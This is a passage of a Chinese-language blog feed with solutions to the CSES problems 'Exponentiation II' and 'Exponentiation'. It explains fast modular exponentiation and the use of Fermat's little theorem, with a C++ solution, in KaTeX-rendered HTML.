class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo>≤</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo separator="true">,</mo><mi>c</mi><mo>≤</mo><msup><mn>10</mn><mn>9</mn></msup></mrow><annotation encoding="application/x-tex">0 \le a,b,c \le 10^9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3<br/>3 7 1<br/>15 2 2<br/>3 4 5<br/></td><td>2187<br/>50625<br/>763327764</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><p>這題跟前一題差不多，我們只要額外想如何處裡<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>上面的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>b</mi><mi>c</mi></msup></mrow><annotation encoding="application/x-tex">b^c</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span></span></span></span>即可。因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">M = 10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>是質數，所以我們可以用費馬小定理，即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{M-1}\equiv 1\pmod{M}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span>。於是我們只要先計算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi><mo>≡</mo><msup><mi>b</mi><mi>c</mi></msup><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">t\equiv b^c \pmod{M-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">c</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>(這樣能有效的讓<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>的指數變小)，再計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>t</mi></msup></mrow><annotation encoding="application/x-tex">a^t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7936em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7936em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span></span></span></span></span></span></span></span>即可。指數計算則用我們上次提到的快速冪。</p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span><span class="token number">1e9</span> <span class="token operator">+</span> <span class="token number">7</span><span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  ll n<span class="token punctuation">,</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    cin <span class="token operator">>></span> a <span class="token operator">>></span> b <span class="token operator">>></span> c<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>b<span class="token punctuation">,</span>c<span class="token punctuation">,</span>M<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span>M<span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-II-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/05/31/CSES-Exponentiation-II-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-05-31T14:37:40.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>本題會用到上次在<a href="/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/"><em><strong>CSES Exponentiation 題解 | R3X’s Blog</stron]]>
    </summary>
    <title>CSES Exponentiation II 題解</title>
    <updated>2026-05-31T14:37:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to efficiently calculate values <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>b</mi></msup></mrow><annotation encoding="application/x-tex">a^b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.<br>Note that in this task we assume that <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>0</mn><mn>0</mn></msup><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">0^0=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>.</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The first input line contains an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>: the number of calculations.<br/>After this, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> lines, each containing two integers <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>.</td><td>Print each value <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mi>b</mi></msup></mrow><annotation encoding="application/x-tex">a^b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span> modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>2</mn><mo>⋅</mo><msup><mn>10</mn><mn>5</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 2 \cdot 10^5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span></span></span></span></li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo>≤</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo>≤</mo><msup><mn>10</mn><mn>9</mn></msup></mrow><annotation encoding="application/x-tex">0 \le a,b \le 10^9</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>3<br/>3 4<br/>2 8<br/>123 123<br/></td><td>81<br/>256<br/>921450052</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><h2 id="%E5%BF%AB%E9%80%9F%E5%86%AA" tabindex="-1" id="快速冪">快速冪</h2><h3 id="%E7%90%86%E8%AB%96" tabindex="-1" id="理論">理論</h3><p>要快速計算乘方，這題顯然就是快速冪。<br>我們以一個例子解釋快速冪的邏輯。假設我們要計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>3</mn></msup><mn>2</mn></mrow><annotation encoding="application/x-tex">a^32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mord">2</span></span></span></span>，我們其實不需要真的將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>做<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>32</mn></mrow><annotation encoding="application/x-tex">32</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">32</span></span></span></span>次乘法，而可以依序計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>4</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>2</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^4=(a^2)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>8</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>4</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^8=(a^4)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mn>16</mn></msup><mo>=</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mn>8</mn></msup><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">a^{16}=(a^8)^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">16</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span></span></span></span></span><span class="mclose"><span 